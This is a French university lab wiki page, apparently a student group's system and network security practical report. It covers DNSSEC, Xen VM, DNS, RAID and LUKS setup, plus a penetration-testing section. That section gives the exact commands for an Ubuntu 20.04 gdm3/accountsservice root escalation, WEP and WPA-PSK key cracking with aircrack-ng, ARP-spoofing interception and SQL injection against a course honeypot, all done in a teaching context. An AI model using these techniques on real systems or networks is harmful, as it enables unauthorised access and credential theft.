Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons ensuite générer deux couples de clefs qui servirons pour le chiffrement.Avant cela, nous créons un dossier piedbleu.site.dnssec où serons stocker ces clefs.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues de la manière suivante:&lt;br /&gt;
 Kpiedbleu.site.+005+09001.key -&amp;gt; piedbleu.site-ksk.key &lt;br /&gt;
 Kpiedbleu.site.+005+09001.private -&amp;gt; piedbleu.site-ksk.private&lt;br /&gt;
 Kpiedbleu.site.+005+22902.key -&amp;gt; piedbleu.site-zsk.key&lt;br /&gt;
 Kpiedbleu.site.+005+22902.private -&amp;gt; piedbleu.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Nous n'oblions pas d'incrementez le numéro version pour que les modifications soient prises en compte.&lt;br /&gt;
&lt;br /&gt;
on signe ensuite les enregistrement de la zone : &lt;br /&gt;
 dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk&lt;br /&gt;
&lt;br /&gt;
Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffice .signed :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site.signed&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
=5. Tests d’intrusion=&lt;br /&gt;
&lt;br /&gt;
==5.1  Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==&lt;br /&gt;
&lt;br /&gt;
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en  &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; '''exclusivité dans le département IMA''' &amp;lt;/span&amp;gt; l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux : &lt;br /&gt;
&lt;br /&gt;
1) J'installe Ubuntu 20.04 dans une VM.&lt;br /&gt;
&lt;br /&gt;
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...&lt;br /&gt;
&lt;br /&gt;
 $ sudo adduser u1&lt;br /&gt;
 $ su u1&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1001(u1) gid=1001(u1) groupes=1001(u1)&lt;br /&gt;
&lt;br /&gt;
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : &lt;br /&gt;
&lt;br /&gt;
 $ ln -s /dev/zero ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Puis on va dans Settings &amp;gt; Region and Language &amp;gt; Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : &lt;br /&gt;
&lt;br /&gt;
 $ top&lt;br /&gt;
&lt;br /&gt;
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.&lt;br /&gt;
&lt;br /&gt;
 $ kill -SIGSTOP 1098&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.&lt;br /&gt;
&lt;br /&gt;
 $ rm ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes. &lt;br /&gt;
 &lt;br /&gt;
 $ nohup bash -c &amp;quot;sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On se déconnecte de notre session.&lt;br /&gt;
&lt;br /&gt;
Le menu &amp;quot;Welcome&amp;quot; de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine ! &lt;br /&gt;
&lt;br /&gt;
 $ whoami&lt;br /&gt;
 pwn&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Explication : '''&lt;br /&gt;
&lt;br /&gt;
En changeant la langue dans &amp;quot;Region and Language&amp;quot;, le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.&lt;br /&gt;
&lt;br /&gt;
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... &lt;br /&gt;
&lt;br /&gt;
Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv-&amp;gt;have_existing_user_accounts, qui est : &amp;quot;false&amp;quot;. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Note 1 : ''' La faille semble avoir été rapidement patchée.&lt;br /&gt;
&lt;br /&gt;
'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège : &lt;br /&gt;
&lt;br /&gt;
accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)&lt;br /&gt;
&lt;br /&gt;
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)&lt;br /&gt;
&lt;br /&gt;
'''Version du noyau et des parquets : '''&lt;br /&gt;
 Ubuntu 20.04.1 LTS, kernel 5.6&lt;br /&gt;
 gdm3, version 3.36.3-0ubuntu0.20.04.1&lt;br /&gt;
 accountsservice, version 0.6.55-0ubuntu12~20.04.1&lt;br /&gt;
&lt;br /&gt;
''' Source : ''' &lt;br /&gt;
&lt;br /&gt;
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020&lt;br /&gt;
&lt;br /&gt;
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE&lt;br /&gt;
&lt;br /&gt;
==5.2  Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles :  (pour repérer le nom du réseau sans fil correspondant à notre binôme) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peux ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé ( message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==5.3  Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi WPA PSK environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:scankracotte.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ). &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. &lt;br /&gt;
&lt;br /&gt;
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante : &lt;br /&gt;
&lt;br /&gt;
 $ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap&lt;br /&gt;
&lt;br /&gt;
Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-5.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.4  Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur : &lt;br /&gt;
&lt;br /&gt;
 apt install dsniff&lt;br /&gt;
 export PATH=/sbin:/usr/sbin:$PATH&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur : &lt;br /&gt;
&lt;br /&gt;
 arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).&lt;br /&gt;
&lt;br /&gt;
En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Mitm-pra.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.5  Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : &lt;br /&gt;
&lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).&lt;br /&gt;
&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.&lt;br /&gt;
&lt;br /&gt;
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.&lt;br /&gt;
&lt;br /&gt;
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.&lt;br /&gt;
&lt;br /&gt;
On utilise cette découverte pour se connecter sur le serveur en SSH.&lt;br /&gt;
&lt;br /&gt;
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.&lt;br /&gt;
&lt;br /&gt;
Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.&lt;br /&gt;
&lt;br /&gt;
Quelques temps plus tard... John nous donne le mot de passe root !&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe &amp;quot;I was here&amp;quot; : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=6. Réalisations=&lt;br /&gt;
&lt;br /&gt;
== 6.1  Sécurisation de données : RAID 5 logiciel==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on crée 3 partitions vituelles : &lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n piedbleu-raid1 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe le paquet mdadm.&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.&lt;br /&gt;
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.&lt;br /&gt;
&lt;br /&gt;
==6.2  Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 $ fdisk -l # on répère la clé USB&lt;br /&gt;
 $ fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/USB &lt;br /&gt;
 $ mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 $ touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 $ umount /mnt/USB&lt;br /&gt;
 $ cryptsetup luksClose myusbkey&lt;br /&gt;
&lt;br /&gt;
== 6.4  Sécurisation WiFi par WPA2-EAP (FreeRADIUS) ==&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54275</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54275"/>
				<updated>2020-12-06T01:01:00Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* 4.4 Sécurisation de serveur DNS par DNSSEC */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=2. Installation de la machine virtuelle Xen=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on fait un SSH sur capbreton.&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=4. Services Internet=&lt;br /&gt;
==4.0 Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, ssh sur la zabeth09, puis minicom : &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
 $  ping google.fr&lt;br /&gt;
&lt;br /&gt;
==4.1  Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 $ service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 $ ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
==4.2  Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
1ère étape: &lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.&lt;br /&gt;
&lt;br /&gt;
2ème étape:&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
3ème partie:&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
A présent, nous pouvons configurer le serveur de nom secondaire : &lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==4.3 Sécurisation de site web par certificat==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.&lt;br /&gt;
&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:&lt;br /&gt;
&lt;br /&gt;
 @       IN      MX      100 ns1.piedbleu.site.&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite postfix ( configuration : &amp;quot;Internet Site&amp;quot;, nom du site &amp;quot; piedbleu.site&amp;quot; ).&lt;br /&gt;
&lt;br /&gt;
